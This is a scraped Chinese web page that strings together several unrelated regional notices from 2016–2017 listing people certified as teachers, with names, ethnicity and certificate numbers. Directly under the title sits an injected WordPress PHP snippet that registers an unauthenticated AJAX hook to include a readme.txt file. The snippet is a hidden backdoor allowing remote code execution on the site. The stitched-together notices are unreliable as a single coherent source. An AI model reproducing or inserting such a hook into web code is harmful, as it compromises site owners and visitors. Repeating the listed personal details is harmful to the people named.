
教师资格认定系统图示
if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }

根据《教师资格条例》《〈教师资格条例〉实施办法》《浙江省实施〈教师资格条例〉细则》(试行)的有关规定,经市教师资格认定专家审查委员会审查,拟认定王肖依等188位同志具有高级中学(含中职)教师资格,现予以公示,公示期七天。
联系电话:0576-88582086
附件:台州市2017年下半年面向社会认定高级中学、中等职业学校、中等职业学校实习指导教师资格合格人员名单.xlsx
台州市教育局办公室
2017年11月2日
蚌山区教体局2017年春季面向社会教师资格认定工作(初中、小学、幼儿园)经过网上报名、现场确认、资格初审、体检等工作环节,并经蚌山区教师资格认定专家委员会审查,共49名申报人员符合相应的教师资格认定条件,现将专家委员会审查结果予以公示。公示时间为5天(从2017年6月23日至6月27日止)。
公示期间,若对公示对象有异议,请通过电话或书面向区教体局人事科、区教体局纪委反映。受理部门将按有关规定为反映情况的人员及内容保密。反映情况要实事求是、客观、公正、具体,对诬告陷害他人者,一经查实,将按有关规定予以严肃处理;来电或来信需自报或签署真实姓名以及准确的联系方式。不报或不签署真实姓名和联系方式的不予受理。
公示结束后,区教体局将根据专家审查结果及公示情况进行认定,证书办理和报名材料领取等相关事项将及时在蚌山区政府网站公布,请申请人注意查询相关信息。
联系电话: 2043608(人事科)
2043585(纪委)
| 蚌山区教体局2017春季教师资格认定通过人员名单 | ||||||
| 报名号 | 姓名 | 性别 | 考试合格证明编号 | 民族 | 申请资格种类 | 任教学科 |
| 17010085 | 李凡 | 女 | 2016343003806 | 汉族 | 初级中学教师资格 | 美术 |
| 17462551 | 施昭娣 | 女 | 2016343003765 | 汉族 | 初级中学教师资格 | 英语 |
| 17280446 | 邱柔荑 | 女 | 2016343017110 | 汉族 | 初级中学教师资格 | 英语 |
| 17072638 | 杨雪 | 女 | 2015343007280 | 汉族 | 初级中学教师资格 | 英语 |
| 17071837 | 汪守丽 | 女 | 2016343003749 | 汉族 | 初级中学教师资格 | 英语 |
| 17051258 | 吴仕霞 | 女 | 2015343007281 | 汉族 | 初级中学教师资格 | 英语 |
| 17049509 | 王思勰 | 女 | 2016343003750 | 汉族 | 初级中学教师资格 | 英语 |
| 17043811 | 雷霆钧 | 男 | 2016343017105 | 汉族 | 初级中学教师资格 | 英语 |
| 17010894 | 董文慧 | 女 | 2016343017131 | 汉族 | 初级中学教师资格 | 英语 |
| 17010470 | 杨帆 | 女 | 2016343017098 | 汉族 | 初级中学教师资格 | 英语 |
| 17234327 | 吕子娜 | 女 | 2016323023256 | 汉族 | 初级中学教师资格 | 语文 |
| 17136881 | 夏蕊 | 女 | 2015343001909 | 汉族 | 初级中学教师资格 | 语文 |
| 17371667 | 颜佩丽 | 女 | 2016342017067 | 汉族 | 小学教师资格 | 美术 |
| 17302915 | 陈奥楠 | 女 | 2016342017052 | 汉族 | 小学教师资格 | 美术 |
| 17027547 | 宋雅菲 | 女 | 2016342017044 | 汉族 | 小学教师资格 | 美术 |
| 17012219 | 胡锦丽 | 女 | 2016342017054 | 汉族 | 小学教师资格 | 美术 |
| 17008445 | 刘雪莲 | 女 | 2016342017045 | 汉族 | 小学教师资格 | 美术 |
| 17429091 | 时萍 | 女 | 2016342016994 | 汉族 | 小学教师资格 | 数学 |
| 17101367 | 吴秋凤 | 女 | 2015342002543 | 汉族 | 小学教师资格 | 数学 |
| 17066072 | 林玲 | 女 | 2016342016965 | 汉族 | 小学教师资格 | 数学 |
| 17056017 | 程雪妍 | 女 | 2016342003608 | 汉族 | 小学教师资格 | 数学 |
| 17034848 | 章娟 | 女 | 2016342016957 | 汉族 | 小学教师资格 | 数学 |
| 17031818 | 顾芷莹 | 女 | 2016342016992 | 汉族 | 小学教师资格 | 数学 |
| 17025464 | 韩晓莹 | 女 | 2016342016956 | 回族 | 小学教师资格 | 数学 |
| 17024075 | 刘静 | 女 | 2016342016971 | 汉族 | 小学教师资格 | 数学 |
| 17018565 | 钱刚 | 男 | 2016342003587 | 汉族 | 小学教师资格 | 数学 |
| 17009224 | 张雪茹 | 女 | 2016342016970 | 汉族 | 小学教师资格 | 数学 |
| 17455959 | 秦晋 | 女 | 2016342000547 | 汉族 | 小学教师资格 | 英语 |
| 17440027 | 侯亚楠 | 女 | 2016342016903 | 汉族 | 小学教师资格 | 英语 |
| 17131953 | 李寒璇 | 女 | 2016342016910 | 汉族 | 小学教师资格 | 英语 |
| 17131921 | 吴倩 | 女 | 2016342016876 | 汉族 | 小学教师资格 | 英语 |
| 17048846 | 张运喆 | 女 | 2016342016901 | 汉族 | 小学教师资格 | 英语 |
| 17460943 | 田蕾 | 女 | 2016342016835 | 汉族 | 小学教师资格 | 语文 |
| 17447803 | 刘淑婧 | 女 | 2016342016804 | 汉族 | 小学教师资格 | 语文 |
| 17107635 | 刘璐 | 女 | 2015342006619 | 汉族 | 小学教师资格 | 语文 |
| 17099047 | 陈琪琪 | 女 | 2016342016787 | 汉族 | 小学教师资格 | 语文 |
| 17095086 | 徐璐洁 | 女 | 2016342016854 | 汉族 | 小学教师资格 | 语文 |
| 17047427 | 李雪 | 女 | 2016342003463 | 汉族 | 小学教师资格 | 语文 |
| 17038524 | 王雅婷 | 女 | 2016342016831 | 汉族 | 小学教师资格 | 语文 |
| 17031952 | 付洁 | 女 | 2016342016834 | 汉族 | 小学教师资格 | 语文 |
| 17017481 | 韩蕊 | 女 | 2016342016814 | 汉族 | 小学教师资格 | 语文 |
| 17371747 | 周雅婷 | 女 | 2016341016719 | 汉族 | 幼儿园教师资格 | 幼儿园 |
| 17277204 | 张金金 | 女 | 2015341001762 | 汉族 | 幼儿园教师资格 | 幼儿园 |
| 17195404 | 马义凡 | 女 | 2016341016761 | 汉族 | 幼儿园教师资格 | 幼儿园 |
| 17156767 | 孙雪洁 | 女 | 2016341016760 | 汉族 | 幼儿园教师资格 | 幼儿园 |
| 17091417 | 曹淑芳 | 女 | 2016341016764 | 汉族 | 幼儿园教师资格 | 幼儿园 |
| 17045943 | 吕诗琪 | 女 | 2016341016762 | 回族 | 幼儿园教师资格 | 幼儿园 |
| 17042106 | 刘丽娟 | 女 | 2016341016750 | 汉族 | 幼儿园教师资格 | 幼儿园 |
| 17033852 | 钟梦月 | 女 | 2016341016742 | 汉族 | 幼儿园教师资格 | 幼儿园 |
一、认定名单公布
1.高中
序号 姓名 性别 申请资格种类 任教学科 教师资格号码
1 林龙 男 高级中学教师资格 物理 20163560041001697
2 沈凌鹏 男 高级中学教师资格 体育与健康 20163560041001698
3 李小权 男 高级中学教师资格 数学 20163560041001699
2.幼儿园、初级中学、小学
序号 姓名 性别 申请资格种类 任教学科 教师资格号码
1 李丽惠 女 幼儿园教师资格 幼儿园 20163562912000023
2 林冠秀 女 幼儿园教师资格 幼儿园 20163562912000024
3 宋奕宣 女 初级中学教师资格 语文 20163562932000025
4 赵艺娇 女 小学教师资格 数学 20163562922000026
5 陈欢 女 小学教师资格 数学 20163562922000027
二、教师资格证书、教师资格认定申请表的领取时间:
高中资格证与申请表:2016年12月23日-12月26日
幼儿园、初级中学、小学资格证与申请表:2016年12月28日-12月30日
根据宁德市教育局《关于做好2016年秋季中小学教师资格认定工作的通知》(宁教人〔2016〕110号)和宁德市蕉城区教育局《关于做好2016年秋季中小学教师资格认定工作的通知》(宁区教人〔2016〕117号)的工作部署,经申请人员网上报名、现场确认受理、健康体检等程序,决定给予符合条件的17位申请人员(具体名单详见附件)认定幼儿园、小学教师资格,并颁发《教师资格证书》。
附件:2016年秋季蕉城区申请幼儿园、小学教师资格认定通过人员名单.docx
宁德市蕉城区教育局
2016年12月8日
现将2016年秋季铜陵市高级中学、中等职业学校、中等职业学校实习指导教师资格认定通过人员名单予以公示,公示时间12月15日-12月20日,监督举报电话:2832884。证书领取情况如下:
1.领取对象:经本次公示无异议人员。
2.领取时间: 2017年1月12日-1月20日,上午8:30-11:30,下午15:00-17:30,节假日不领取。
3.领取地址:铜陵市教育局行政楼四楼组织人事科(铜官区义安北路42号),联系电话:0562-2832884
4.领取要求:考生凭本人身份证原件领取;代领人员需提供双方身份证原件;应届毕业生提供毕业证书原件和复印件。
附件:2016年秋季铜陵市高级中学、中等职业学校、中等职业学校实习指导教师资格认定通过人员名单公示.doc
2016年12月15日